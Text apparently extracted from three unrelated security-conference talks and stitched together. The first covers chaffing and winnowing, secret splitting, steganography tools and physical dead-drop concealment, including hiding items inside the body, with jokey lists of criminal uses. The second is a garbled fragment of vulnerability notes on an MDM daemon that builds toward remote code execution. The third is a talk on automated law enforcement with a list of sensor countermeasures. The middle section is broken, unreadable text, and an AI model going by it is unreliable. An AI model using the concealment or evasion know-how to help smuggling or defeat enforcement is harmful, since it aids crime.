is kept • Otherwise when the calculated and transmitted MAC’s are not equal, the packet is discarded Packet Sequence Number • Assign each packet a sequence number for: – Removal of duplicate packets – Identification of missing packets – Correct ordering of received packets • An example sequence might look like: (1,Hello David,465231) (3,Joshua,344287) (2,The code is,782290) (4,Sincerely-Falken,312265) Adding The Chaff • After authentication of the packets, chaff packets with incorrect MAC’s are added to the message stream • It is important that chaff packets: • Are correctly formatted • Have reasonable sequence numbers • Have reasonable message contents • Have invalid MAC’s Sample Message (1,Hello Lizzie,532105) (1,Hello David,465231) (2,The code is,782290) (2,Your contact is,793122) (3,Flex,891231) (3,Joshua,344287) (4,Peace-Vic,553419) (4,Sincerely-Falken,312265) Receiver Separates Chaff (1,Hello Lizzie,532105) 789326 (1,Hello David,465231) 465231 (2,The code is,782290) 782290 (2,Your contact is,793122) 878933 (3,Flex,891231) 643236 (3,Joshua,344287) 344287 (4,Peace-Vic,553419) 003732 (4,Sincerely-Falken,312265) 312265 MAC Algorithm Notes • The MAC Algorithm is simply a hash function • Once hashed, the original message cannot be retrieved • It must look random to an eavesdropper, where similar inputs generate distinctly different outputs Packet Construction Notes • Smaller packets = more packets • More packets = brute force more difficult • Too small = inefficient use of bandwidth – Tough on recipient – Tough on eavesdropper Chaff Construction Notes • Creating chaff is easy/inexpensive, one can pick any sequence number and content and append a random MAC value • If the MAC is 64 bits long, the chance of accidentally creating the correct MAC for the sequence number and content is extremely unlikely (1/264) • Creating bogus MAC’s for chaff packets requires no knowledge of the secret key Chaffing / Winnowing Uses • Transmitting secret codes, messages, and/or any other sensitive information • Why use it instead of crypto? – Bypass U.S. government regulations on encryption exports – Exportable encryption defined as systems with key lengths <= 56 bits, or systems that implement key recovery/key escrowing – Chaffing and Winnowing is a direct challenge to encryption- restricting legislation, proposed by Ron Rivest – Chaffing and Winnowing doesn’t fall under the restriction because messages are sent plain-text, using only a shared key for authentication – In essence to say; “Screw you Big Brother!” Secret-Splitting / Sharing Secret-Splitting / Sharing What Is It? • Just what it sounds like • Take a secret, split it up, and share it – to make it more secure • Explained in detail in forthcoming slides Why Not Use Crypto Instead? • One can encrypt data to protect it, but then you still need to protect the encryption key • One can store the key in a secure location, but if it is lost you can never recover it and/or the data • One can store multiple copies of the key in different locations, but then the potential for key compromise is increased • To make the secret reliable and robust, the idea is to break the secret into pieces and then distribute those pieces to different persons in a group Secret-Splitting / Sharing • Secret-sharing scheme – Two parts: • Set of “Holders” • “Access Structure” • Shares – Pieces of a split secret or information that every holder receives Splitting Scheme Details • Two Components: – Set of Holders: H={H1,H2,H3} – Access Structure set: • Subsets of holders who can discover the secret by pooling their information together; – i.e., AS={ {H1,H2}, {H2,H3}, {H1,H2,H3} } • Monotone access structure: – i.e., AS0={ {H1,H2}, {H2,H3} } consists of all “minimal” sets of AS • A perfect secret-sharing scheme: • Any qualified subset can reconstruct the secret • Any un-qualified subset has absolutely no viable information on the secret Access Structure Variance • Generalized Access Structures: – For any set of Holders, there can be many different kinds of Access Structures – i.e., For a set of 3 users, Access Structures that may be employed by different secret sharing schemes include; • A+B+C, A+BC, AB+BC, AB+BC+AC, ABC • Why study different Access Structures? – Different secret-sharing schemes may require different levels of fault tolerance and secrecy, which can be realized by different Access Structures – A+B+C increases the fault tolerance of the key, but it decreases the secrecy of the key – ABC increases the secrecy of the key, but the key becomes more unreliable – Also of great importance, different Access Structures may require different sizes of shares Share Sizes • For different Access Structures, they may require different bounds on the amount of information that its users must remember • If the amount of information that must be kept secret increases, then the security of the system will degrade • To prevent the appearance of Bob and Alice, and to keep the presentation time in check, we shall delve no further on this subset topic. A reference to more topic info is on the final slide. Secret-Splitting Risks • Risk-based consequences of authentication error include: – Inconvenience – Distress – Damage to organization/group programs or reputation – Financial loss – Personal safety Secret-Splitting Uses* • Nuclear launch codes • Bomb components • Chemical weapons ingredients • Level 3,4 PKI management for legal non-repudiation • Monetary asset protection • Intellectual property protection • Warez/file-sharing legal liability/protection • Terrorist plots • Illegal substance smuggling/possession * Not necessarily endorsed/condoned by presentation author Steganography Steganography What Is It? • Steganography = covered writing – cover-image + hidden-data + stego-key • Use dates back several millennium: – wax tablets – messages tattooed on scalps • Other examples: – Invisible ink – Hide an image under another image in a PPT presentation (cough) – Hide text in same color as background – Spammers employ by encoding spam messages into literature text • Digital steganography can hide information in image/video/audio files (or any binary file) • Primary “legitimate” use is digital watermarking Why Is It Effective? • Point to ponder #1: How do you know when you’ve run out of invisible ink? • Point to ponder #2: Male mosquitoes buzz loudly but do not sting. Female mosquitoes are silent and do sting. Therefore if you DO hear a mosquito buzzing around, no worries. If you DO NOT hear buzzing, there may be trouble present. • Ximenez in Monty Python: “Nobody expects the Spanish Inquisition.” • Keyser Soze in The Usual Suspects: “The greatest trick the devil ever pulled was convincing the world he didn’t exist.” Modern Implementations • Modern steganography attempts to be detectable only if secret information is known • For steganography to remain “undetected”, the unmodified cover medium must be kept secret • If exposed, a comparison between the cover media and stego media immediately reveals the changes/differences • An information-theoretic model that considers the security of steganography systems against passive eavesdroppers: – Assume that the adversary has complete knowledge of the encoding system, but does not know the secret key – Attacker must devise model for the probability distribution PC of all possible cover media, and PS of all possible stego media – Adversary can then use detection theory to decide between hypothesis C (that a message contains no hidden information) and hypothesis S (that a message carries hidden content) • A system is perfectly secure if no decision rule exists that can perform better than random guessing The Color of Secrets • Image file colors are important in the amount of redundant bits available to hide data • Steganography works best in cover files with; high energy, bright colors, high volume • 24-bit color is True Color – 1 pixel requires three bytes, each representing level of Red/Green/Blue (RGB) color • Color of this line is denoted 0xbf-1d-98 [i.e., Red=191 (0xbf), Green=29 (0x1d), Blue=152 (0x98)] – 16,777,216 (2 to 24th power) possible colors/image • 8-bit color is also True Color, but... – Image contains a palette with up to 256 (2 to 8th power) unique colors, each denoted by a 24-bit RGB value – Each pixel requires 1 byte to point to palette entry Use of LSB Overwriting • Concept is to embed a secret message in the Least Significant Bits (LSB’s) of images • Works because the human visual system isn’t acute enough to pick out changes in color • Basic algorithm for LSB substitution would be to take the first M cover pixels (where M is the length of the secret message to be hidden in bits), then replace every pixel's last bit with one of the message bits • Problem with approach is one ends up with the first region of the image having different statistics than the rest of the image • Amongst possible improvements an effective/common one is to seed a pseudo-random number generator then use the numbers output LSB Substitution Example • “LSB substitution” overwrites the least significant bit of target bytes • Example: Hide "G" (01000111) in 3 pixels – Original Data • 10010101 00001101 11001001 • 10010110 00001111 11001011 • 10011111 00010000 11001011 – Stego Data • 10010100 00001101 11001000 • 10010110 00001110 11001011 • 10011111 00010001 11001011 Overview of Overview of ““some some”” Stego Stego Tools Tools S-Tools • Designed for lossless compression - hides information inside BMP, GIF, or WAV files using LSB overwriting • Password used for LSB randomization and encryption • S-Tools allows conversion of 8-bit “cover” images to 24-bit, as well as attempted color reduction in any 24-bit images one wishes to embed within a 8-bit “cover” • Can hide multiple files within a single image or sound file • Multiple algorithm support JPHS • Designed for lossy compression - hides information inside JPG files using LSB overwriting of DCT coefficients • No installation required - two programs, JPHIDE and JPSEEK - JPHIDE hides data in JPG file, JPSEEK recovers file hidden with JPHIDE, and JPHSWin.exe performs both/either function(s) • Linux version also available • Distributes the hidden file in the JPG image so that both the visual and statistical effects are minimized • Uses LSB overwriting of the discrete cosine transform coefficients used by the JPG algorithm (difference in file statistics minimized, decreasing risk of unauthorized recovery) • Uses Blowfish crypto algorithm for LSB randomization and encryption (to determine where to store the bits of the hidden file) MP3 Stego • Compresses, encrypts, then hides data in MP3 bit stream • Linux version also available • Written with stego applications in mind, but could be used as copyright marking system for MP3 files (weak but still much better than the MPEG copyright flag defined by the standard) • Opponent can uncompress the bit stream and recompress it, which will delete the hidden information (only attack known) – but at the expense of severe quality loss • The hiding process takes place at the heart of the Layer III encoding process…namely in the inner_loop • Requires text file and wav file - converts combined output to MP3 file Camouflage • Camouflage allows one to hide files by first scrambling them and then attaching them to file of choice • Appends hidden file to carrier file • Camouflaged file looks and behaves like normal file (can be stored, used, or emailed without attracting attention) • Can password-protect camouflaged file • Can camouflage files within camouflaged files Stego (for Mac) • Embed data in and retrieve data from Macintosh PICT format files, without changing the appearance or size of the PICT file • Works by slightly altering pixel values • Rasterizes image, then stegs data into the LSB of each of the RGB color values • In the case of indexed color, Stego stegs data into the LSB of the index values • File length of data file to be stegged is hidden in the LSB's of the first 32 steggable bytes • To disguise value somewhat, it takes the 2nd-least significant bits of the 2nd 32 steggable bytes, XOR’s them with the 32 bit file length, then stegs the XOR'd file length into LSB's of the first 32 steggable bytes NCovert • NCovert designed to function as a TCP covert channel • Runs on Linux • Based in part on Chris Rouland's covert_tcp program • Program functions as both client and server, depending options used • Data transferred using the IP ID field and TCP sequence number – loose form of stego Hydan • Hides data in a Windows or Linux binary (executable) file • Takes advantage of redundancies in i386 assembler – i.e., A+B vs A-(-B) • Can hide one byte in ~110 instruction bytes • Maintains size of carrier file http://www.crazyboy.com/hydan/ StegFS • Hidden file system for Linux • Does not require the use of a separate partition of a hard disk • Instead places hidden files into unused blocks of a partition that also contains normal files, managed under a standard file system • Uses a separate block allocation table • Fulfills a similar function as the block allocation bitmap in traditional file systems, but instead of a single bit for each block it contains an entire 128-bit encrypted entry • Encrypted entry indistinguishable from random bits unless the key for accessing a security level is available • Steganographic file system driver isn’t well hidden, but doesn’t need to be Detecting Steganography Use • WetStone Technologies (commercial) – Gargoyle (formerly StegoDetect) • finds remnants of stego (or other malware) software using file hashes – Stego Suite (Stego Analyst, Stego Break, Stego Watch) • applies statistical methods on suspect files to determine probability that stego was employed, guesses which algorithm was employed, and attempts to break the password • Neils Provo (outguess.org) - FREE – Stegdetect • detects stego in JPG images using several algorithms – Stegbreak • launches brute-force dictionary attacks on JPG image – Runs on Windows or Unix Online Tools / Examples / Demos • http://www.well.com/~sthomas/.Secret-Page.html • GifItUp (jpg in gif example) • S-Tools (jpg in bmp example) • JPHS (jpg in jpg example) • MP3Stego (txt in mp3 example) • Camouflage (jpg in jpg example) • Camouflage (jpg in xls example) Steganography Uses* • Hiding/sharing codes or other sensitive information • Hiding images of former girlfriend/boyfriend or current mistress/master from current partner • Hiding embarrassing images of one’s self • Hiding/sharing illegal pr0n • Hiding/sharing illegal plans and terrorist plots • Hiding/sharing “evil” source code • Hiding/sharing cracks/serials/passwords/netcat backdoors, etc. * Not necessarily endorsed/condoned by presentation author Hiding / Sharing Secrets Hiding / Sharing Secrets Physically Physically Spy Tactics/Practices • Don’t steal secrets – make surreptitious copies • Establish creative two-way communication • Use “dead drops” – parties “never” meet • Employ creative “envelopes” for secrets to be exchanged • Use common/open/public areas for communication and dead drop sites Spy Tactics/Practices (cont.) • Must keep secrets hidden until time of transfer • Caching • Accessibility weighed against secrecy • Booby-trapped containers • 30 unique forms/categories of concealment for spies • Destroy obsolete records, receipts, tools, maps, passwords, etc. Two-Way Communication • Two-way communication may be needed for secret(s) delivery, payment, etc. • Must have signals to note that drop has been made at dead-drop location • May need separate signal that money or other trade item has also been left in return • Strategically placed drink can, broken tree branch, Christmas lights, chalk marks, obscure signal flags, etc., etc., etc. Secret “Envelopes” • Only limited by imagination – * Inside smoke detector (airplane bathroom, stairwell, etc.) – * Inside books/magazines (library, bookstore) – * Taped to underside of desk or chair – * Fake (or real) electrical outlet – * Box of tissues – * Velcro-ed patches on clothes, backpacks – Inside electronic devices – Behind back plate/battery of cell phone – Hole in wall covered with flier or poster – Taped to top of door – Diaper genie, cat litter box, sharps medical waste disposal – False bottom containers – Laptop/PC drives – Inside dog food bag, cereal box, detergent box, etc. – Car steering wheel, door panel, under back seat, etc. – Junk mail envelopes – Gutted VHS tape – Buried – Stack of paper plates – Band-aid tin, bandages – Inside shower curtain rod – (continued) Secret “Envelopes” (cont.) • Only limited by imagination – * Inside walnuts – * Inside currency – * Calculator – * Video of secret docs – * Drop item attached to string and washer inside wall from ceiling/attic, retrieve when needed using strong/small magnet on string – * Hollow glass eyeball – HVAC unit filter – Dog's collar – Molding covering hollowed area – Hollowed out planter stand (reverse-thread so opening isn’t obvious) – False bottom drawer – Hollow shoe heel – Plant container – Children’s toys – Hide important humans in city ghetto, hospital, etc. – Create hollow chocolate bar mold, insert secret, pour other bar side sealing secret in, wrap – Inside cigarette – Tattoo to scalp, shave head to read – Inside body (swallow, up anus or vagina, under tongue, under skin) – etc., etc., etc. Dead Drop Uses* • Drug deals • Illegal classified information exchange • Corporate espionage information exchange • Bio/nuclear weapons exchange • Stolen goods exchange • Exchange diskette with “Leonardo da Vinci” virus, culled from the hacked “garbage” file on the Gibson • Use your imagination….. * Not necessarily endorsed/condoned by presentation author A Few A Few ““Live Live”” Containers Containers References / Additional Reading • Gary Kessler stego links: • (www.garykessler.net/library/securityurl.html#crypto) • • Gary Kessler’s awesome overview of Stego: • (http://www.garykessler.net/library/fsc_stego.html) • • Ron Rivest paper on Chaffing and Winnowing: • (http://theory.lcs.mit.edu/~rivest/chaffing.txt) • • Notre Dame student paper on Secret Splitting: • (http://www.nd.edu/~cseprog/proj02/cryptogrophy/final.pdf) • • Scott Guthery paper on Secret Splitting: • (http://arxiv.org/ftp/cs/papers/0307/0307059.pdf)
pdf
mdm 0x00 mod_mdm.somdmd 0x01 unix unixwireshark 1. 90header 2. xmlpostbodybody bodyheader0 header 1. 140 2. 581b 02 00 00 3. 91203 00 00 00 58int4 1b 02 00 00 0x21b10539 0x02 1. a33 2. char s[128]s128 3. v6postv6[0]postbody s128 int648qword4 word8byteunsigned int4 mobileidtype 0x03 ipad mobileidtype body0 1. 8d141body0header140141 2. 02 3. mobileid64636400 4. 8type700 5. 0056headerbody 0x04 mdmd mod_mdm.sounixmdmd datadata mod_mdm.sodata 1. v926int26*4=104520 2. v5msgtypetype2v7msgtype 3. v9[11]44v5+1v54mobileid v9 v9[0]=1 4 v9[1]=size=+40 4 v9[2]=v7=msgtype 4 v9[3]=32IP 32 v9[11]=mobileid 8 52 a1v9v1getperformerv1v9[0]1 TaskWorkerDispatchv9[0] DoClientRequest1DoUtilRequest2 data[10] 0x05 data 1. msgytypetype2 2. 3. clipstrncpydata3232clip 4. 40 data[8]data[9]data[10] mod_mdm.so 40 0x06 rce
pdf
Music Clash - I Fought the Law and the Law Won Life Inside a Skinner Box: Confronting our Future of Automated Law Enforcement Greg Conti [email protected] Lisa Shay [email protected] Woody Hartzog [email protected] Disclaimer The views in this talk are the authors’ and don’t reflect the official policy or position of the United States Military Academy, Samford University, the Department of the Army,the Department of Defense, or the United States Government. Why? http://www.nationalguard.mil/news/archives/2008/09/images/090808-secuirty_forces-full.jpg We don't want to live in a police state Meditation on the Law http://www.youtube.com/watch?v=1B-Ox0ZmVIU Driving the Speed Limit on the Atlanta Perimeter Three Points 1. Networked technologies have the potential to automate enforcement of the law. 2. Reckless and pervasive automation can have disastrous and unintended consequences. 3. This audience is in a unique position to defend society and appropriately confront law enforcement systems. Automated Law Enforcement Any computer-based system that uses input from unattended sensors to algorithmically determine that a crime has been or is about to be committed then takes some responsive action, such as to warn the subject or inform the appropriate law enforcement agency. Additionally, these systems will be capable of automatically imposing some form of punishment. Our proposed conceptualization of automated law enforcement is based on a model that is subject to automation at various points. The Precursors are in Place http://www.technologyreview.com/communications/37380/?mod=MagOur Increased Proliferation of Sensors Increased Diversity and Sensitivity of Sensors State Police Pull Over CT Medical Patient for Tripping Radioactivity Detector http://www.ctpost.com/default/article/Radioactive-man-Milford-resident-pulled-over-by-3549631.php#photo-2920568 Compulsory Sensing US Senate Passes Bill Requiring All New Cars in America to Come Equipped with a Black-box by 2015 http://venturebeat.com/2012/04/19/black-boxes-for-cars/ http://en.wikipedia.org/wiki/File:Head_On_Collision.jpg Mobile Sensors “Intended to provide the dismounted soldier with Reconnaissance, Surveillance, and Target Acquisition (RSTA) and laser designation. Total system weight, which includes the air vehicle, a control device, and ground support equipment is less than 51 pounds (23 kg) and is back-packable in two custom MOLLE-type carriers.” http://en.wikipedia.org/wiki/File:Class1Soldiers2.jpg http://en.wikipedia.org/wiki/Honeywell_RQ-16_T-Hawk http://www.wsvn.com/news/articles/local/21003198189967/ Honeywell T-Hawk 3 Billion+ Mobile Devices Connected Cars OnStar http://www.blogcdn.com/www.autoblog.com/media/2011/09/onstar-630.jpg Instrumented Communities Washington DC Area Traffic Cameras http://app.ddot.dc.gov/services_dsf/traffic_cameras/map_10.asp So when I get into a car—a computer that I put my body into—with my hearing aid*—a computer I put inside my body—I want to know that these technologies are not designed to keep secrets from me, or to prevent me from terminating processes on them that work against my interests. - Cory Doctorow http://boingboing.net/2012/01/10/lockdown.html http://www.youtube.com/watch?v=HUEvRyemKSg * Note that this quote is taken a bit out of context. Mr. Doctorow was speculating that he may require a hearing aid at some point in the future. We are Losing Control of our Technology Facial Recognition http://www.engr.du.edu/mmahoor/pictures/facial_feature.JPG See also "Faces of Facebook: Privacy in the Age of Augmented Reality," Alessandro Acquisti, Ralph Gross, and Fred Stutzman. BlackHat USA, 2011. Crowdsourced Identification Vancouver Riots www.identifyrioters.com Improved Algorithms Cordon: 32 Vehicle Tracking Across 4 Lanes http://www.peakgainsystems.com/en/cordon.html http://www.engadget.com/2011/10/31/cordon-multi-target-photo-radar-system-leaves-no-car-untagged-v http://tech.slashdot.org/story/11/10/31/1846223/multi-target-photo-radar-system-to-make-speeding-riskier Crowdsourced Crime Detection Internet Eyes - “Detecting Crime as It Happens” http://interneteyes.co.uk/ Tech Transfer Miami-Dade Police Department's Drones Ready to Fly http://www.wsvn.com/news/articles/local/21003198189967/ http://www.nbcmiami.com/news/local/Miami-Dade-Police-Departments-Drones-Ready-To-Fly-137434223.html Augmented Reality Google's Project Glass: One Day... http://www.youtube.com/watch?v=9c6W4CCU9M4 http://www.wsvn.com/news/articles/local/21003198189967/ http://www.nbcmiami.com/news/local/Miami-Dade-Police-Departments-Drones-Ready-To-Fly-137434223.html Conversion of Analog Systems to Digital http://www.bobspropshop.com/img/2015.jpg Increased Analytics Wide Area Motion Imagery (WAMI) See also Persistent Stare Exploitation and Analysis System (PerSEAS) http://defense-update.com/features/2010/july/persistent_wide_area_surveillance_04072010.html http://www.kmimediagroup.com/mgt-home/345-gif-2011-volume-9-issue-6-september/4656-wide-area-intelligence.html Reid Porter, Andrew Fraser, and Don Hush. “Wide-Area Motion Imagery.” IEEE Signal Processing Magazine, September 2010 Increased Linkages National Identity Registries India Launches Universal ID System with Biometrics http://www.economist.com/node/21542814 http://www.homeoffice.gov.uk/media-centre/news/database-destruction http://singularityhub.com/2010/09/13/india-launches-universal-id-system-with-biometrics/ hhttp://upload.wikimedia.org/wikipedia/commons/thumb/5/59/Rajagopal_speaking_to_25,000_people,_Janadesh_2007,_India.jpg/452px-Rajagopal_speaking_to_25,000_people,_Janadesh_2007,_India.jpg http://www.lightninggps.com/ Location Tracking Predictive Policing is on the Rise California Police Praise Predictive Policing http://www.officer.com/video/10604045/california-police-praise-predictive-policing See also Samuel Greengard's “Policing the Future” in the March 2012 Communications of the ACM http://www.jonathanrosenbaum.com/wp-content/uploads/2011/05/minority-report.jpg Minority Report Lots of Interested Parties Federal, State, and Local Law Enforcement http://en.wikipedia.org/wiki/Oregon_State_Police http://www.coolgadgetconcept.com/coolest-police-badge/ http://en.wikipedia.org/wiki/File:BIA_Police_Officer_Badge.jpg * Note that we aren't stating that these specific entities are necessarily interested in Automated Law Enforcement, but in general we argue such types of entities are. Insurance Companies Well Intentioned Officials New York City Soda Ban The Daily Show, 31 May 2012 http://eater.com/uploads/jon-stewart-daily-show-soda-ban.jpg http://yro.slashdot.org/story/12/02/02/1719221/do-you-like-online-privacy-you-may-be-a-terrorist Well Intentioned Law Enforcement... Suspicious Activities “Overly concerned about privacy” “Always pays cash” “Use of anonymizers... to shield IP address” “Uses encryption” “Downloads information about electronics” “Strict Enforcement” Business Models Exist http://autoclubsouth.aaa.com/pgr/traffic_traps.aspx Quotas Exist August 25, 2011 - This is to remind all PBA members that any threat of retaliation for failure to perform a specific numbers of police actions (summonses, stop and frisks, arrests etc.) within a specified time period is a violation of the quota law and a grievable offense. We encourage all of our members who experience the threat of retaliation or punishment to file an immediate grievance with the PBA. The attached form was developed to expedite the grievance process in these cases. http://www.nycpba.org/archive/tadam/11/110825-quota-form.html Bait Cars http://www.trutv.com/video/bait-car/one-last-phone-call.html and Other Types of Bait... http://en.wikipedia.org/wiki/File:8.0995_Pattaya.jpg And Illegal Enforcement... And 'ol Charlies workin' out real good down at the corner store where the red light is. He sees them out-of-state plates two blocks away. Whey they get right on top of that green light, ol' Charlie pushes that secret button underneath the corner drug store counter. And that yellow light only lasts for a tenth of a second. - Hoyt Axton (Speed Trap) Some Regimes May Take Enforcement to a Whole Other Level Citizens Who Want a Free Lunch… Social Media http://www.nytimes.com/2006/01/08/education/edlife/facebooks.html http://www.kylestoneman.com/out/cake/IMG_1700.jpg Successful Prototypes Bus Lane Enforcement Red Light Enforcement Speed Limit Enforcement Stop Sign Enforcement Congestion Charge HOV Lane Railroad Crossings Illegal Parking Illegal Turns http://en.wikipedia.org/wiki/Traffic_enforcement_camera http://en.wikipedia.org/wiki/File:Red-light-camera-springfield-ohio.jpg The Inadequacy of Law Sniffer Dogs Florida v. Harris Flortida v. Jardines http://www.scotusblog.com/case-files/florida-v-harris/ http://en.wikipedia.org/wiki/File:Border_detection_dog.jpg http://www.scotusblog.com/case-files/cases/florida-v-jardines/ So Where is all the Heading? Enabling technologies Ubiquitous sensors Promiscuous data sharing Security and financial incentives Well intentioned law enforcement Complacent citizenry Law lagging technology Successful prototypes So How Does the Law Work? Punishment Feedback Loop http://en.wikipedia.org/wiki/File:Chapeltown_Stocks.jpg Punishment Capabilities Notice Warning Embarrassment Citation/Points / Fine Arrest Prosecution Confinement Execution 7 6 5 4 3 2 1 0 Currently Implemented Signs & websites warning about sensors "Flash" when camera activates at speed trap or intersection Listing on a website or database Red Light Cameras, Radar speed traps Ankle bracelets for house arrest Current Capability not yet Implemented     Robots could disable and drag crime suspects  Lethally-armed robots Future Capability      Networked Sensor-DB Prosecution Algorithms More sophisticated location control- better enforcement of restraining orders, for instance More advanced lethally-armed robots that might even be autonomous Notice http://www.511virginia.org/ Virginia Traffic Information Notice http://atms.montgomerycountymd.gov/redlight/warning2.jpg Montgomery County, Maryland Intersection Safety Signal Warning Notice Warning http://safety.fhwa.dot.gov/speedmgt/ref_mats/fhwasa10001/images/Fig21.jpg Highway Speed Display Embarrassment http://www.drc.ohio.gov/offendersearch/search.aspx Ohio Department of Rehabilitation and Correction Offender Search Database Citation / Points / Fine http://www.photocop.com/images/trafcam.jpg Howard County, Maryland, Traffic Camera Fine Arrest http://www.gizmag.com/go/7565/picture/35523/ TASER and iRobot are Collaborating on a TASER-Shooting Robot Prosecution http://ispysoftware.svn.sourceforge.net/viewvc/ispysoftware/iSpyApplication/VideoSource.cs?revision=343&content-type=text%2Fplain Source Code from iSpy Camera Security Project public bool ConfigureSnapshots { get { return configureSnapshots; } set { configureSnapshots = value; snapshotsLabel.Visible = value; snapshotResolutionsCombo.Visible = value; } } /// <summary> /// Provides configured video device. /// </summary> /// /// <remarks><para>The property provides configured video device if user confirmed /// the dialog using "OK" button. If user canceled the dialog, the property is /// set to <see langword="null"/>.</para></remarks> /// public VideoCaptureDevice VideoDevice { get { return videoDevice; } } public bool ConfigureSnapshots { get { return configureSnapshots; } set { configureSnapshots = value; snapshotsLabel.Visible = value; snapshotResolutionsCombo.Visible = value; } } /// <summary> /// Provides configured video device. /// </summary> /// /// <remarks><para>The property provides configured video device if user confirmed /// the dialog using "OK" button. If user canceled the dialog, the property is /// set to <see langword="null"/>.</para></remarks> /// public VideoCaptureDevice VideoDevice { get { return videoDevice; } } Confinement http://www.housearrestbracelet.com/ The New Generation III Alcohol and Marijuana Sensing House Arrest Ankle Bracelet With Active GPS Is Now Available for only $3.00 per day! Confinement http://www.housearrestbracelet.com/ The New Generation III Alcohol and Marijuana Sensing House Arrest Ankle Bracelet With Active GPS Is Now Available for only $3.00 per day! Electronic Monitoring Just Got Better! Execution http://robocoparchive.com/old/lobby5.JPG Advantages and Disadvantages Subject Law Enforcement Agency Judicial System  Safer more secure society  Safer more secure society  Safer more secure society  Community financial incentives  Potential efficiency gains  Reduced Bias Increased and more effective enforcement  Potential efficiency gains  False positives  False positives  False positives Chilling effect Loss of discretion Potential overload Societal harm Lost jobs “Perfect” enforcement Less compliant populace Misidentification Loss of “professional courtesy” Enforcement of minor infractions Sensor data as legal defense Creating infrastructure for abuse Security of ALE systems Advantages Disadvantages More Secure Society http://en.wikipedia.org/wiki/File:Flughafenkontrolle.jpg More Secure Society http://en.wikipedia.org/wiki/File:Security_spikes_1.jpg Safer Society http://www.stolaf.edu/committees/safety/ http://www.barnesandnoble.com/w/stepping-stones-to-police-efficiency-wa-gayer/1102723835 Increased Efficiency Financial Incentives http://www.ij.org/policing-for-profit-the-abuse-of-civil-asset-forfeiture Reduce Bias Respect the badge He earned it with his blood Fear the gun Your sentence may be death because I am THE LAW! You won't f**k around no more I am THE LAW! I judge the rich, I judge the poor I am THE LAW! Commit a crime, I'll lock the door I am THE LAW! Because in Mega-City I am THE LAW! - Anthrax (Judge Dredd / I am the Law) http://en.wikipedia.org/wiki/File:2000AD168.jpg Protection from Abuse Dallas set to pay $1M for two Separate Police Abuse Cases http://cityhallblog.dallasnews.com/2012/06/dallas-set-to-pay-1m-for-two-separate-police-abuse-cases.html/ Increased Opportunity for Abuse McCarthy-era Propaganda Comic Book http://en.wikipedia.org/wiki/McCarthyism Increased Opportunity for Abuse http://www.fugly.com/media/IMAGES/Funny/speed_trap_ahead.jpg False Positives Please put down your weapon, you have 20 seconds to comply... <puts down weapon> You now have 15 seconds to comply I am now authorized to use physical force ... Dick, I am very disappointed... Sir, I'm sure its only a glitch... ED-209 http://www.youtube.com/watch?v=A9l9wxGFl4k False Negatives http://mashable.com/2007/05/31/top-15-google-street-view-sightings/#view_as_one_page-gallery_box1783 Misidentification “If they have that kind of difficulty with a member of Congress, how in the world are average Americans, who are getting caught up in this thing, how are they going to be treated fairly and not have their rights abused?” - Senator Ted Kennedy Terror List Snag Nearly Grounded Ted Kennedy http://sansalvador.usembassy.gov/tedkennedy_500x500_articulo.jpg http://www.usatoday.com/news/washington/2004-08-19-kennedy-list_x.htm Societal Harm http://commons.wikimedia.org/wiki/File:Skrzy1_Skin1.jpg Chilling Effects http://filipspagnoli.files.wordpress.com/2009/01/free-speech2.jpg Less Compliant Populace http://www.state.gov/cms_images/2008_riot_aftermath4_600.jpg Loss of Human Discretion http://www.mass.gov/recovery/images/feature/mccall-cronin-chief.jpg Equal and Fair Enforcement of Law Driving While Black http://thecafebelle.com/forum/topics/dont-black-and-drive-in-texas http://www.aclu.org/racial-justice/driving-while-black-racial-profiling-our-nations-highways Risk of Unproportional Response http://de-motivational-posters.com/images/texas-speed-trap-one-of-the-reasons-why-you-don-39-t-mess-with-texas.jpg Equal and Fair Enforcement of Law Cocaine http://en.wikipedia.org/wiki/Cocaine http://en.wikipedia.org/wiki/Crack_cocaine Crack Perfect Enforcement of the Law No Jaywalking http://en.wikipedia.org/wiki/File:Singapore_Road_Signs_-_Restrictive_Sign_-_No_jaywalking.svg Social Control http://en.wikipedia.org/wiki/Social_control http://en.wikipedia.org/wiki/File:Summerfairesign.JPG Loss of Power Montgomery County Maryland Police “Photographed Speeding Past Camera with Extended Middle Finger” http://thecafebelle.com/forum/topics/dont-black-and-drive-in-texas http://www.theblaze.com/stories/police-stop-batman-for-improper-car-tags/ http://www.aclu.org/racial-justice/driving-while-black-racial-profiling-our-nations-highways Lost Jobs http://www.nycpba.org/index-flash.html Overflowing the System http://ga.water.usgs.gov/flood/flooding-sept09/images/miscellaneous/vickery-creek-dam-high.jpg Case Studies http://en.wikipedia.org/wiki/File:Hwy_11_Ontario_Winter.JPG Driving Case Study • Speeding • Windshield wipers without lights in rain • Foglights without fog • algorithmic specifications for laws • built in time constraints, warning periods, higher limits? • driving the speed limit will get you run off the road in most major metropolitan areas • license plate identification • emergency override? • remote disable by police?, on star, manufacturer, change programming of engine chip, corvette with key to disable 4 of eight cylinders • requirement to broadcast laws? (like marking w/speed zones, school zones with signs, “speed zone ahead” • security vulnerabilities in ALE systems, failure modes, possibilities for misuse • ignorance of law is no excuse • internal sensors (limited knowledge of local laws? centrally fed? updated? validated? • external sensors (like a speed camera) may have localize knowledge? • law DB, updates? validated how? • what legal loopholes/defenses will emerge • for some areas technology isn’t ready to enforce laws, but in some areas it is • rental cars (you don’t own it, therefore you rights are less) • road use tolls (in news) • role of easy pass like systems • role of onstar • • Case Law / Legal Defenses • Legal defenses against ALE systems (look to radar guns, red light cameras, speed cameras) • Calibration • Radar vs GPS tracking device http://www.csmonitor.com/USA/2009/0911/p02s01-usgn.html Windshield Wiper Before Headlights http://commons.wikimedia.org/wiki/File:W.Va._TURNPIKE_-_THE_ROAD_HOME_%287-05-06%29%3DDURING_THE_RAIN_AND_FOG.jpg Mainstream Media The Strip by Brian McFadden 27 May 2012 https://www.nytimes.com/slideshow/2012/01/08/opinion/sunday/the-strip.html#1 Questions Necessary to Confront Automated Law Enforcement Method of Implementation Control Discretion Perfection of Enforcement Legal Integration of Algorithms Preemptive / Post Hoc Enforcement System Error / Malfunction Administrative Burden Procedural Safeguards The Social Cost of Automation Analysis Procedural Safeguards Due Process Privacy Freedom of Expression The Necessity Defense Transparency Countermeasures http://www.freerepublic.com/focus/f-chat/2749860/posts Countermeasures Detect Monitor Bypass Shield Exploit sampling rate Scattering Disable Destroy Jam Spoof Camouflage DOS and more... For more see our HOPE 9 talk Competing Sensors http://www.petaluma360.com/article/20091105/COMMUNITY/911059998?p=1&tc=pg# http://www.csmonitor.com/USA/2009/0911/p02s01-usgn.html GPS Defense Against Radar Algorithmic Laws? Emerging Brain Computer Interfaces See... • Brain-Computer 